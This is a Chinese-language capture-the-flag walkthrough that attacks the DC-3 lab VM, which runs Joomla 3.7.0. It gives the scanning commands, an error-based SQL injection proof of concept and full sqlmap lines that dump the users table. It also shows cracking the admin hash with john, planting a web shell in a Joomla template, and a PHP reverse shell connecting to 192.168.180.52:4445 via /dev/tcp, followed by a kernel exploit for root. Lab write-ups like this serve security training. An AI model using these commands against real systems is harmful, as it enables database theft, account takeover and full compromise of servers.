日常操作,先用nmap扫一遍
nmap -T4 -sV 192.168.180.1/24
nmap扫描常用命令
-T1-6 设置扫描的速度,一般使用T4
-p 探测指定端口,例如"1-65535,1433、80等"
-v 显示扫描过程,推荐使用
-A 强力扫描,全面系统检测,扫描等
-sV 探测端口的服务版本
-sT TCP连接扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息
-sS SYN扫描,很少有系统能够把它记入系统日志。不过,需要root权限
-sP ping扫描,Nmap在扫描端口时,默认会使用ping扫描,只有主机存活,Nmap才会继续扫描
可以看出目标机器的IP为192.168.180.197,开放的端口为80端口,登入网站,查看情况
首页中信息表示就有这一个flag,最终的flag需要得到root权限获得,查看了以下网页的源代码,得知该网页是通过joomla搭建的
然后去github找了一个joomla扫描工具,扫一扫版本信息和漏洞信息,得到了joomla的版本为3.7.0,管理员的页面为http://192.168.180.197/administrator/,尝试了弱密码无法登录,那就只能另寻他路
打开msfconsole,使用命令搜索joomla3.7版本的相关信息
searchsploit joomla 3.7.0
打开 php/webapps/42033.txt的文件,里面提到了sqlmap的payload以及poc
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
使用文件中给出的POC,访问该链接,验证一下漏洞,将localhost替换为目标机器的IP地址,然后使用updatexml的报错注入
http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,version()),0)
这里简单提一嘴,虽然可以用报错注入得出user和version等简单信息,但是数据库的内容却不能用这个方法搞出来,无奈只能用sqlmap跑了
sqlmap的常用参数
-u 存在注入点的URL
-dbs 列出所有的数据库
-D 指定数据库名
-T 指定表名
-C 指定字段
-D db_name -table 列出指定数据库的所有表名
-D db_name -T table_name -columns 列出指定数据库中的指定表的所有字段
-dump 获取字段中的数据
-batch 使用默认选项
然后使用sqlmap对这个EXP进行注入,将localhost替换为目标机器的IP地址,尝试注入
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
第一次注入得到了网站数据库的所有库名
然后注入joomladb数据库得到表名
sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -tables
猜测表名"#__users"可能含有我们需要的信息,继续使用sqlmap猜解列名,选项全部选择y,然后暴力破解,果然出现了熟悉的username和password
sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -columns
列出所有的列名的所有字段内容,得到了用户名和经过加密的密码hash值
$2y
10
10
10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
sqlmap -u "http://192.168.180.197/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -columns --dump
使用kali自带的解密hash工具john,将hash放入一个txt文件中,对该hash值进行解密,可以得到admin的密码为snoopy
john dc-3.txt
对文件中的hash解密,dc-3.txt文件中存放的是hash值
john -show dc-3.txt
可以查看之前解密的历史hash,解密的历史hash文件在/home/fmh/.john/john.pot中
拿着这个密码登录joomla的后台
joomla的模板界面可以编辑网页的后台脚本文件,那么也可以往里面写入一句话木马
写入shell,然后使用蚁剑连接在该模板下创建的木马文件http://192.168.180.197/templates/beez3/shell.php
查看权限以及目标机器的版本号为Ubuntu 16.04
既然需要提权,那么就需要寻找该版本主机是否存在提权漏洞,在msfconsole查找Ubuntu 16.04存在的漏洞信息,可以看见该版本的Ubuntu存在可以提权的漏洞
searchsploit Ubuntu 16.04
打开该文件,查看漏洞的详细信息
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
按正常操作,确实是打开地址就可以访问exp的下载地址,但是可能是时间太久的原因,文中给的提权下载脚本的地址不能访问,只能通过以下链接把exploit-db所有的漏洞利用脚本下载下来,有1个多G
https://github.com/offensive-security/exploitdb-bin-sploits/archive/refs/tags/2022-11-04.zip
下载后解压压缩包,然后找到39772.zip,解压之后,找到exploit.tar,里面包含着compile.sh和doubleput.c等文件,通过蚁剑将该压缩包传入目标机器的文件夹,我传入了tmp文件夹,因为这个文件夹没有什么权限限制
传入压缩文件之后,使用命令解压文件tar -xvf exploit.tar
tar的常用参数
-x:从压缩的文件中提取文件
-z:支持gzip解压文件
-v:显示详细的tar处理的文件信息,将正在处理的文件名显示出来
-f:指定压缩文件
-t:显示压缩文件的内容
-c:创建新的文档,将文件归档
-C:指定路径。创建压缩包,或者解压文件放到指定路径
这里直接通过蚁剑的终端进行提权失败了,所以就需要重新通过之前的方法写入一个后门,让其反弹一个shell回来
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.180.52/4445 0>&1' ");
?>
bash -c:bash会从参数后面的字符串中读取命令
bash -i:会创建一个交互式的命令行(bash);
&>将bash的标准输出重定向至/dev/tcp/192.168.180.52/4445 这个socket连接;
0>&1将标准输入重定向至标准输出,最终的结果就是标准输入也被重定向到TCP连接中,因此输入和输出都可以在客户端上进行,通过TCP连接和bash进行交互。
然后kali主机使用命令nc -lvvp 4445
监听4445端口,访问链接http://192.168.180.197/templates/beez3/webshell.php
,可以看见shell已经被反弹回来了,然后使用python做一个交互式shell,显示更加清楚
python -c "import pty;pty.spawn('/bin/sh')"
依然按照之前的提权命令进行提权,查看权限,可以看到提权成功,权限变为root
./compile.sh
./doubleput
权限提升之后,访问root下的文件夹,得到flag.txt文件